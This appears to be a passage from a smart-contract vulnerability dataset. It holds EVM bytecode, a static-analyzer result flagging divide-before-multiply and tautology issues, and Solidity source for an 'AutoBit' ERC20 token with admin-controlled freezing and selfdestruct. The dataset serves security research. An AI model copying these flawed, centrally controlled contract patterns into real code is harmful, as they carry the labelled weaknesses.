83148061165357508483105b151561165e57600080fd5b5b600160040386101561169b5760046001870160048110151561167d57fe5b01549150600082148061168f57508185105b151561169a57600080fd5b5b6004866004811015156116aa57fe5b01549050846004876004811015156116be57fe5b01819055507fbf790663d2af8830f8589af82ffcf2307f6f0d20b9a4f38b6e2219739e70fe7a86828760405180848152602001838152602001828152602001935050505060405180910390a16001935050505092915050565b6000601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561177557600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141515156117b157600080fd5b6000601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541115151561180057600080fd5b6001601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff167f6e5eedde7d0d690d55dea362660be04ef1eb36252e48817545afb1ae6b245a4060405160405180910390a260019050919050565b600080601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16148061192f57506000601160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b151561193a57600080fd5b60008311151561194957600080fd5b600f54905082600f819055507fb01b0304cdcaffa13e4b57ecbe280da183afb719becd1d56e9211cc3781ea42181600f54604051808381526020018281526020019250505060405180910390a16001915050919050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600080601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480611ac557506000601160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b1515611ad057600080fd5b60008573ffffffffffffffffffffffffffffffffffffffff1614158015611af75750600083115b8015611b035750428410155b1515611b0e57600080fd5b82600c60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555083600d60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff167f49eaf4942f1237055eb4cfa5f31c9dfe50d5b4ade01e021f7de8be2fbbde557b8585604051808381526020018281526020019250505060405180910390a2838391509150935093915050565b6000601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611c5857600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614151515611c9457600080fd5b81601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff16601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360019050919050565b600080601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480611df857506000601160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b1515611e0357600080fd5b60008310158015611e145750600483105b8015611e205750600483105b1515611e2b57600080fd5b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f84a36c1f95c5b90497f063912621cdc88710ee4fffb678361d2caecc144130a184600486600481101515611e9557fe5b0154600887600481101515611ea657fe5b015460405180848152602001838152602001828152602001935050505060405180910390a2600483600481101515611eda57fe5b0154600884600481101515611eeb57fe5b015491509150915091565b60008082840290506000841480611f175750828482811515611f1457fe5b04145b1515611f1f57fe5b8091505092915050565b600080600083111515611f3857fe5b8284811515611f4357fe5b0490508284811515611f5157fe5b068184020184141515611f6057fe5b8091505092915050565b60008060008060008773ffffffffffffffffffffffffffffffffffffffff1614158015611fae575060008673ffffffffffffffffffffffffffffffffffffffff1614155b8015611fba5750600085115b1515611fc557600080fd5b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff1614156120855761202361221e565b925084612077846000808b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546122b590919063ffffffff16565b1015151561208457600080fd5b5b61208e8761131c565b915091504282111580156120a3575060008214155b1561219157600091506000600d60008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600c60008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508673ffffffffffffffffffffffffffffffffffffffff167fc56cef68903bdd36458fd80e70fac1fabcf0b8b37d32e6b9d02ccef26642570b8383604051808381526020018281526020019250505060405180910390a2600090505b600082141580156121a25750600081115b1561220757846121f9826000808b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546122b590919063ffffffff16565b1015151561220657600080fd5b5b612212878787612655565b93505050509392505050565b6000806000429150600090505b60048110156122ab57600060048260048110151561224557fe5b015414156122525761229e565b60048160048110151561226157fe5b015482111561228557600060048260048110151561227b57fe5b018190555061229d565b60088160048110151561229457fe5b015492506122b0565b5b808060010191505061222b565b600092505b505090565b60008282111515156122c357fe5b818303905092915050565b6000808211801561235b575081600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b80156123a55750816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b15156123b057600080fd5b612401826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546122b590919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612494826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461284590919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061256582600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546122b590919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600080821180156126a45750816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b15156126af57600080fd5b612700826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546122b590919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612793826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461284590919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600080828401905083811015151561285957fe5b8091505092915050565b6000612875848484600080600061287e565b90509392505050565b600080612889612ba6565b6107b291505b8861ffff168261ffff1610156128d2576128a882612b25565b156128bb576301e28500830192506128c5565b6301e13380830192505b818060010192505061288f565b601f816000600c811015156128e357fe5b602002019060ff16908160ff16815250506128fd89612b25565b1561292957601d816001600c8110151561291357fe5b602002019060ff16908160ff168152505061294c565b601c816001600c8110151561293a57fe5b602002019060ff16908160ff16815250505b601f816002600c8110151561295d57fe5b602002019060ff16908160ff1681525050601e816003600c8110151561297f57fe5b602002019060ff16908160ff1681525050601f816004600c811015156129a157fe5b602002019060ff16908160ff1681525050601e816005600c811015156129c357fe5b602002019060ff16908160ff1681525050601f816006600c811015156129e557fe5b602002019060ff16908160ff1681525050601f816007600c81101515612a0757fe5b602002019060ff16908160ff1681525050601e816008600c81101515612a2957fe5b602002019060ff16908160ff1681525050601f816009600c81101515612a4b57fe5b602002019060ff16908160ff1681525050601e81600a600c81101515612a6d57fe5b602002019060ff16908160ff1681525050601f81600b600c81101515612a8f57fe5b602002019060ff16908160ff1681525050600191505b8760ff168261ffff161015612ae757806001830361ffff16600c81101515612ac957fe5b602002015160ff166201518002830192508180600101925050612aa5565b6001870360ff166201518002830192508560ff16610e1002830192508460ff16603c02830192508360ff168301925082925050509695505050505050565b60008060048361ffff16811515612b3857fe5b0661ffff16141515612b4d5760009050612ba1565b600060648361ffff16811515612b5f57fe5b0661ffff16141515612b745760019050612ba1565b60006101908361ffff16811515612b8757fe5b0661ffff16141515612b9c5760009050612ba1565b600190505b919050565b61018060405190810160405280600c906020820280388339808201915050905050905600a165627a7a72305820a488693d08818c1497dbd47a23763472b60db10b0d6754ab81cddf7696d5d03c0029
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}]}}
5,078
0x8e59651c365af64ca47d1e6df072828da262fcb8
pragma solidity 0.4.24; contract Math { function add(uint256 x, uint256 y) pure internal returns(uint256) { uint256 z = x + y; assert((z >= x) && (z >= y)); return z; } function subtract(uint256 x, uint256 y) pure internal returns(uint256) { assert(x >= y); uint256 z = x - y; return z; } } contract Auth { address owner = 0x0; address admin = 0x0; modifier isOwner { require(owner == msg.sender); _; } modifier isAdmin { require(owner == msg.sender || admin == msg.sender); _; } function setOwner(address _owner) isOwner public { owner = _owner; } function setAdmin(address _admin) isOwner public { admin = _admin; } function getManagers() public view returns (address _owner, address _admin) { return (owner, admin); } } contract Manage is Auth { /** * 0 : init, 1 : limited, 2 : running, 3 : finishing */ uint8 public status = 0; modifier isRunning { require(status == 2 || owner == msg.sender || admin == msg.sender || (status == 1 && (owner == msg.sender || admin == msg.sender))); _; } function limit() isAdmin public { require(status != 1); status = 1; } function start() isAdmin public { require(status != 2); status = 2; } function close() isAdmin public { require(status != 3); status = 3; } } contract EIP20Interface { uint256 public totalSupply; function balanceOf(address _owner) public view returns (uint256 balance); function transfer(address _to, uint256 _value) public returns (bool success); function transferFrom(address _from, address _to, uint256 _value) public returns (bool success); function approve(address _spender, uint256 _value) public returns (bool success); function allowance(address _owner, address _spender) public view returns (uint256 remaining); event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract TokenBase is EIP20Interface, Manage, Math { string public name; string public symbol; uint8 public decimals; event Burn(address indexed from, uint256 value); mapping (address => uint256) public balances; mapping (address => mapping (address => uint256)) public allowed; constructor() public { owner = msg.sender; admin = msg.sender; } function init(uint256 initialSupply, string tokenName, string tokenSymbol, uint8 tokenDecimals) internal { require(status == 0); totalSupply = initialSupply * 10 ** uint256(tokenDecimals); balances[msg.sender] = totalSupply; name = tokenName; symbol = tokenSymbol; decimals = tokenDecimals; status = 1; } function _transfer(address _from, address _to, uint256 _value) isRunning internal { require(0x0 != _to); require(balances[_from] >= _value); require(balances[_to] + _value >= balances[_to]); uint previousBalances = balances[_from] + balances[_to]; balances[_from] = Math.subtract(balances[_from], _value); balances[_to] = Math.add(balances[_to], _value); emit Transfer(_from, _to, _value); assert(balances[_from] + balances[_to] == previousBalances); } function transfer(address _to, uint256 _value) public returns (bool success) { _transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_value <= allowed[_from][msg.sender]); allowed[_from][msg.sender] -= _value; _transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) isRunning public returns (bool success) { require(_value == 0 || allowed[msg.sender][_spender] == 0); allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function increaseApproval(address _spender, uint256 _value) isRunning public returns (bool success) { allowed[msg.sender][_spender] = Math.add(allowed[msg.sender][_spender], _value); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval(address _spender, uint _value) isRunning public returns (bool success) { uint256 oldValue = allowed[msg.sender][_spender]; if (_value >= oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = Math.subtract(oldValue, _value); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function burn(uint256 _value) public returns (bool success) { require(balances[msg.sender] >= _value); // Check if the sender has enough balances[msg.sender] -= _value; // Subtract from the sender totalSupply -= _value; // Updates totalSupply emit Burn(msg.sender, _value); return true; } function burnFrom(address _from, uint256 _value) public returns (bool success) { require(balances[_from] >= _value); // Check if the targeted balance is enough require(_value <= allowed[_from][msg.sender]); // Check allowance balances[_from] -= _value; // Subtract from the targeted balance allowed[_from][msg.sender] -= _value; // Subtract from the sender's allowance totalSupply -= _value; // Update totalSupply emit Burn(_from, _value); return true; } function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } function allowance(address _owner, address _spender) public view returns (uint256 remaining) { return allowed[_owner][_spender]; } function destruct() isOwner public { selfdestruct(owner); } } contract AutoBit is TokenBase { uint256 public sellPrice; uint256 public buyPrice; uint8 freezePercent; address[] private frozenAddresses; mapping (address => uint256) public frozenBalances; mapping (address => mapping (uint256 => uint256)) public payedBalances; event FrozenBalance(address indexed target, uint256 balance); event Price(uint256 newSellPrice, uint256 newBuyPrice); constructor() TokenBase() public { init(10000000000, "AutoBit", "ATB", 18); freezePercent = 100; emit Transfer(address(0), msg.sender, totalSupply); } function _transfer(address _from, address _to, uint256 _value) isRunning internal { require(frozenBalances[_from] <= balances[_from] - _value); super._transfer(_from, _to, _value); if(status == 1) freeze(_to, freezePercent); } function increaseFrozenBalances(address target, uint256 _value) isAdmin public { require(_value > 0); if(frozenBalances[target] == 0) frozenAddresses.push(target); frozenBalances[target] += _value; emit FrozenBalance(target, frozenBalances[target]); } function decreaseFrozenBalances(address target, uint256 _value) isAdmin public { require(_value > 0 && frozenBalances[target] >= _value); frozenBalances[target] -= _value; if(frozenBalances[target] == 0) deleteFrozenAddresses(target); emit FrozenBalance(target, frozenBalances[target]); } function freeze(address target, uint8 percent) isAdmin public { require(percent > 0 && percent <= 100); if(frozenBalances[target] == 0) frozenAddresses.push(target); uint256 frozenBalance = balances[target] * percent / 100; frozenBalances[target] = frozenBalance; emit FrozenBalance(target, frozenBalance); } function changeFrozenBalanceAll(uint8 percent) isAdmin public { uint arrayLength = frozenAddresses.length; for (uint i=0; i<arrayLength; i++) { uint256 frozenBalance = balances[frozenAddresses[i]] * percent / 100; frozenBalances[frozenAddresses[i]] = frozenBalance; } } function unfreeze(address target) isAdmin public { deleteFrozenAddresses(target); delete frozenBalances[target]; } function deleteFrozenAddresses(address target) private { uint arrayLength = frozenAddresses.length; uint indexToBeDeleted; for (uint i=0; i<arrayLength; i++) { if (frozenAddresses[i] == target) { indexToBeDeleted = i; break; } } address lastAddress = frozenAddresses[frozenAddresses.length-1]; frozenAddresses[indexToBeDeleted] = lastAddress; frozenAddresses.length--; } function unfreezeAll() isAdmin public { uint arrayLength = frozenAddresses.length; for (uint i=0; i<arrayLength; i++) { delete frozenBalances[frozenAddresses[i]]; } delete frozenAddresses; frozenAddresses.length = 0; } function setPrices(uint256 newSellPrice, uint256 newBuyPrice) isAdmin public { sellPrice = newSellPrice; buyPrice = newBuyPrice; emit Price(sellPrice, buyPrice); } function pay(address _to, uint256 _value, uint256 no) public returns (bool success) { _transfer(msg.sender, _to, _value); payedBalances[msg.sender][no] = _value; return true; } function payedBalancesOf(address target, uint256 no) public view returns (uint256 balance) { return payedBalances[target][no]; } function buy() payable public { require(buyPrice > 0); uint amount = msg.value / buyPrice; _transfer(this, msg.sender, amount); } function sell(uint256 amount) public { require(sellPrice > 0); address myAddress = this; require(myAddress.balance >= amount * sellPrice); _transfer(msg.sender, this, amount); msg.sender.transfer(amount * sellPrice); } function setFreezePercent(uint8 percent) isAdmin public { freezePercent = percent; } function frozenBalancesOf(address target) public view returns (uint256 balance) { return frozenBalances[target]; } }
0x6080604052600436106101ed5763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166305fefda781146101f257806306fdde031461020f578063095ea7b3146102995780630ad9e7bf146102d157806313af40351461030457806318160ddd14610325578063200d2ed21461033a57806323b872dd1461036557806327e235e31461038f5780632b68b9c6146103b0578063313ce567146103c557806342966c68146103da57806343d726d6146103f257806345c8b1a6146104075780634b750334146104285780635c6581651461043d5780635f06534614610464578063654286d11461048b57806366188463146104a657806366c5c4a0146104ca5780636db76efd146104df5780636f71f40714610503578063704b6c021461052a57806370a082311461054b57806379cc67901461056c5780638620410b146105905780638f4e5158146105a557806395d89b41146105c9578063a4d66daf146105de578063a6f2ae3a146105f3578063a8d088bb146105fb578063a9059cbb14610636578063aa5c88ca1461065a578063b0a8497414610675578063be9a655514610699578063cd8e250a146106ae578063d73dd623146106cf578063dd62ed3e146106f3578063e4849b321461071a578063f68be92414610732575b600080fd5b3480156101fe57600080fd5b5061020d600435602435610756565b005b34801561021b57600080fd5b506102246107cd565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561025e578181015183820152602001610246565b50505050905090810190601f16801561028b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156102a557600080fd5b506102bd600160a060020a036004351660243561085b565b604080519115158252519081900360200190f35b3480156102dd57600080fd5b506102f2600160a060020a0360043516610983565b60408051918252519081900360200190f35b34801561031057600080fd5b5061020d600160a060020a0360043516610995565b34801561033157600080fd5b506102f26109db565b34801561034657600080fd5b5061034f6109e1565b6040805160ff9092168252519081900360200190f35b34801561037157600080fd5b506102bd600160a060020a03600435811690602435166044356109f1565b34801561039b57600080fd5b506102f2600160a060020a0360043516610a60565b3480156103bc57600080fd5b5061020d610a72565b3480156103d157600080fd5b5061034f610a97565b3480156103e657600080fd5b506102bd600435610aa0565b3480156103fe57600080fd5b5061020d610b16565b34801561041357600080fd5b5061020d600160a060020a0360043516610b95565b34801561043457600080fd5b506102f2610be6565b34801561044957600080fd5b506102f2600160a060020a0360043581169060243516610bec565b34801561047057600080fd5b506102bd600160a060020a0360043516602435604435610c09565b34801561049757600080fd5b5061020d60ff60043516610c37565b3480156104b257600080fd5b506102bd600160a060020a0360043516602435610d14565b3480156104d657600080fd5b5061020d610e87565b3480156104eb57600080fd5b5061020d600160a060020a0360043516602435610f28565b34801561050f57600080fd5b5061020d600160a060020a036004351660ff6024351661100b565b34801561053657600080fd5b5061020d600160a060020a0360043516611146565b34801561055757600080fd5b506102f2600160a060020a036004351661118c565b34801561057857600080fd5b506102bd600160a060020a03600435166024356111a7565b34801561059c57600080fd5b506102f2611276565b3480156105b157600080fd5b5061020d600160a060020a036004351660243561127c565b3480156105d557600080fd5b50610224611388565b3480156105ea57600080fd5b5061020d6113e3565b61020d611451565b34801561060757600080fd5b50610610611481565b60408051600160a060020a03938416815291909216602082015281519081900390910190f35b34801561064257600080fd5b506102bd600160a060020a0360043516602435611498565b34801561066657600080fd5b5061020d60ff600435166114ae565b34801561068157600080fd5b506102f2600160a060020a03600435166024356114f2565b3480156106a557600080fd5b5061020d61151a565b3480156106ba57600080fd5b506102f2600160a060020a0360043516611598565b3480156106db57600080fd5b506102bd600160a060020a03600435166024356115b3565b3480156106ff57600080fd5b506102f2600160a060020a03600435811690602435166116ce565b34801561072657600080fd5b5061020d6004356116f9565b34801561073e57600080fd5b506102f2600160a060020a036004351660243561175b565b600154600160a060020a03163314806107795750600254600160a060020a031633145b151561078457600080fd5b60088290556009819055604080518381526020810183905281517fd1353c68e79ef70de84ee90d2facf845ec24895116d4a03505aa41785af71f5a929181900390910190a15050565b6003805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156108535780601f1061082857610100808354040283529160200191610853565b820191906000526020600020905b81548152906001019060200180831161083657829003601f168201915b505050505081565b6002805460009160a060020a90910460ff1614806108835750600154600160a060020a031633145b806108985750600254600160a060020a031633145b806108d8575060025460a060020a900460ff1660011480156108d85750600154600160a060020a03163314806108d85750600254600160a060020a031633145b15156108e357600080fd5b8115806109115750336000908152600760209081526040808320600160a060020a0387168452909152902054155b151561091c57600080fd5b336000818152600760209081526040808320600160a060020a03881680855290835292819020869055805186815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a350600192915050565b600c6020526000908152604090205481565b600154600160a060020a031633146109ac57600080fd5b6001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b60005481565b60025460a060020a900460ff1681565b600160a060020a0383166000908152600760209081526040808320338452909152812054821115610a2157600080fd5b600160a060020a0384166000908152600760209081526040808320338452909152902080548390039055610a56848484611778565b5060019392505050565b60066020526000908152604090205481565b600154600160a060020a03163314610a8957600080fd5b600154600160a060020a0316ff5b60055460ff1681565b33600090815260066020526040812054821115610abc57600080fd5b336000818152600660209081526040808320805487900390558254869003909255815185815291517fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca59281900390910190a2506001919050565b600154600160a060020a0316331480610b395750600254600160a060020a031633145b1515610b4457600080fd5b60025460a060020a900460ff1660031415610b5e57600080fd5b6002805474ff0000000000000000000000000000000000000000191674030000000000000000000000000000000000000000179055565b600154600160a060020a0316331480610bb85750600254600160a060020a031633145b1515610bc357600080fd5b610bcc81611861565b600160a060020a03166000908152600c6020526040812055565b60085481565b600760209081526000928352604080842090915290825290205481565b6000610c16338585611778565b50336000908152600d60209081526040808320938352929052205550600190565b60015460009081908190600160a060020a0316331480610c615750600254600160a060020a031633145b1515610c6c57600080fd5b600b549250600091505b82821015610d0e5760648460ff1660066000600b86815481101515610c9757fe5b6000918252602080832090910154600160a060020a0316835282019290925260400190205402811515610cc657fe5b04905080600c6000600b85815481101515610cdd57fe5b6000918252602080832090910154600160a060020a0316835282019290925260400190205560019190910190610c76565b50505050565b60028054600091829160a060020a900460ff161480610d3d5750600154600160a060020a031633145b80610d525750600254600160a060020a031633145b80610d92575060025460a060020a900460ff166001148015610d925750600154600160a060020a0316331480610d925750600254600160a060020a031633145b1515610d9d57600080fd5b50336000908152600760209081526040808320600160a060020a0387168452909152902054808310610df257336000908152600760209081526040808320600160a060020a0388168452909152812055610e21565b610dfc8184611944565b336000908152600760209081526040808320600160a060020a03891684529091529020555b336000818152600760209081526040808320600160a060020a0389168085529083529281902054815190815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060019392505050565b6001546000908190600160a060020a0316331480610eaf5750600254600160a060020a031633145b1515610eba57600080fd5b5050600b5460005b81811015610f0a57600c6000600b83815481101515610edd57fe5b6000918252602080832090910154600160a060020a03168352820192909252604001812055600101610ec2565b610f16600b6000611b49565b6000610f23600b82611b67565b505050565b600154600160a060020a0316331480610f4b5750600254600160a060020a031633145b1515610f5657600080fd5b600081118015610f7e5750600160a060020a0382166000908152600c60205260409020548111155b1515610f8957600080fd5b600160a060020a0382166000908152600c602052604090208054829003908190551515610fb957610fb982611861565b600160a060020a0382166000818152600c602090815260409182902054825190815291517fd2dc74064ce9979876047afc7922931592038bce8a7fbaf28417799c138e4e4d9281900390910190a25050565b600154600090600160a060020a03163314806110315750600254600160a060020a031633145b151561103c57600080fd5b60008260ff16118015611053575060648260ff1611155b151561105e57600080fd5b600160a060020a0383166000908152600c602052604090205415156110d657600b80546001810182556000919091527f0175b7a638427703f0dbe7bb9bbf987a2551717b34e79f33b5b1008d1fa01db901805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0385161790555b50600160a060020a038216600081815260066020908152604080832054600c835292819020606460ff87169094029390930492839055805183815290519293927fd2dc74064ce9979876047afc7922931592038bce8a7fbaf28417799c138e4e4d929181900390910190a2505050565b600154600160a060020a0316331461115d57600080fd5b6002805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600160a060020a031660009081526006602052604090205490565b600160a060020a0382166000908152600660205260408120548211156111cc57600080fd5b600160a060020a03831660009081526007602090815260408083203384529091529020548211156111fc57600080fd5b600160a060020a038316600081815260066020908152604080832080548790039055600782528083203384528252808320805487900390558254869003909255815185815291517fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca59281900390910190a250600192915050565b60095481565b600154600160a060020a031633148061129f5750600254600160a060020a031633145b15156112aa57600080fd5b600081116112b757600080fd5b600160a060020a0382166000908152600c6020526040902054151561132f57600b80546001810182556000919091527f0175b7a638427703f0dbe7bb9bbf987a2551717b34e79f33b5b1008d1fa01db901805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0384161790555b600160a060020a0382166000818152600c60209081526040918290208054850190819055825190815291517fd2dc74064ce9979876047afc7922931592038bce8a7fbaf28417799c138e4e4d9281900390910190a25050565b6004805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156108535780601f1061082857610100808354040283529160200191610853565b600154600160a060020a03163314806114065750600254600160a060020a031633145b151561141157600080fd5b60025460a060020a900460ff166001141561142b57600080fd5b6002805474ff0000000000000000000000000000000000000000191660a060020a179055565b60008060095411151561146357600080fd5b6009543481151561147057fe5b04905061147e303383611778565b50565b600154600254600160a060020a0391821691169091565b60006114a5338484611778565b50600192915050565b600154600160a060020a03163314806114d15750600254600160a060020a031633145b15156114dc57600080fd5b600a805460ff191660ff92909216919091179055565b600160a060020a03919091166000908152600d60209081526040808320938352929052205490565b600154600160a060020a031633148061153d5750600254600160a060020a031633145b151561154857600080fd5b6002805460a060020a900460ff16141561156157600080fd5b6002805474ff0000000000000000000000000000000000000000191674020000000000000000000000000000000000000000179055565b600160a060020a03166000908152600c602052604090205490565b6002805460009160a060020a90910460ff1614806115db5750600154600160a060020a031633145b806115f05750600254600160a060020a031633145b80611630575060025460a060020a900460ff1660011480156116305750600154600160a060020a03163314806116305750600254600160a060020a031633145b151561163b57600080fd5b336000908152600760209081526040808320600160a060020a03871684529091529020546116699083611958565b336000818152600760209081526040808320600160a060020a0389168085529083529281902085905580519485525191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a350600192915050565b600160a060020a03918216600090815260076020908152604080832093909416825291909152205490565b60008060085411151561170b57600080fd5b50600854309082028131101561172057600080fd5b61172b333084611778565b6008546040513391840280156108fc02916000818181858888f19350505050158015610f23573d6000803e3d6000fd5b600d60209081526000928352604080842090915290825290205481565b6002805460a060020a900460ff16148061179c5750600154600160a060020a031633145b806117b15750600254600160a060020a031633145b806117f1575060025460a060020a900460ff1660011480156117f15750600154600160a060020a03163314806117f15750600254600160a060020a031633145b15156117fc57600080fd5b600160a060020a038316600090815260066020908152604080832054600c9092529091205490829003101561183057600080fd5b61183b83838361197c565b60025460a060020a900460ff1660011415610f2357600a54610f2390839060ff1661100b565b600b54600080805b838210156118b85784600160a060020a0316600b8381548110151561188a57fe5b600091825260209091200154600160a060020a031614156118ad578192506118b8565b600190910190611869565b600b805460001981019081106118ca57fe5b600091825260209091200154600b8054600160a060020a0390921692508291859081106118f357fe5b6000918252602090912001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055600b80549061193c906000198301611b67565b505050505050565b6000808284101561195157fe5b5050900390565b600082820183811080159061196d5750828110155b151561197557fe5b9392505050565b6002805460009160a060020a90910460ff1614806119a45750600154600160a060020a031633145b806119b95750600254600160a060020a031633145b806119f9575060025460a060020a900460ff1660011480156119f95750600154600160a060020a03163314806119f95750600254600160a060020a031633145b1515611a0457600080fd5b600160a060020a0383161515611a1957600080fd5b600160a060020a038416600090815260066020526040902054821115611a3e57600080fd5b600160a060020a0383166000908152600660205260409020548281011015611a6557600080fd5b50600160a060020a0380831660009081526006602052604080822054928616825290205490810190611a979083611944565b600160a060020a038086166000908152600660205260408082209390935590851681522054611ac69083611958565b600160a060020a0380851660008181526006602090815260409182902094909455805186815290519193928816927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3600160a060020a03808416600090815260066020526040808220549287168252902054018114610d0e57fe5b508054600082559060005260206000209081019061147e9190611b87565b815481835581811115610f2357600083815260209020610f239181019083015b611ba591905b80821115611ba15760008155600101611b8d565b5090565b905600a165627a7a72305820842ef901b136139b783340f57fbabc7c464f2e59e67563878d60c7aac4d463350029
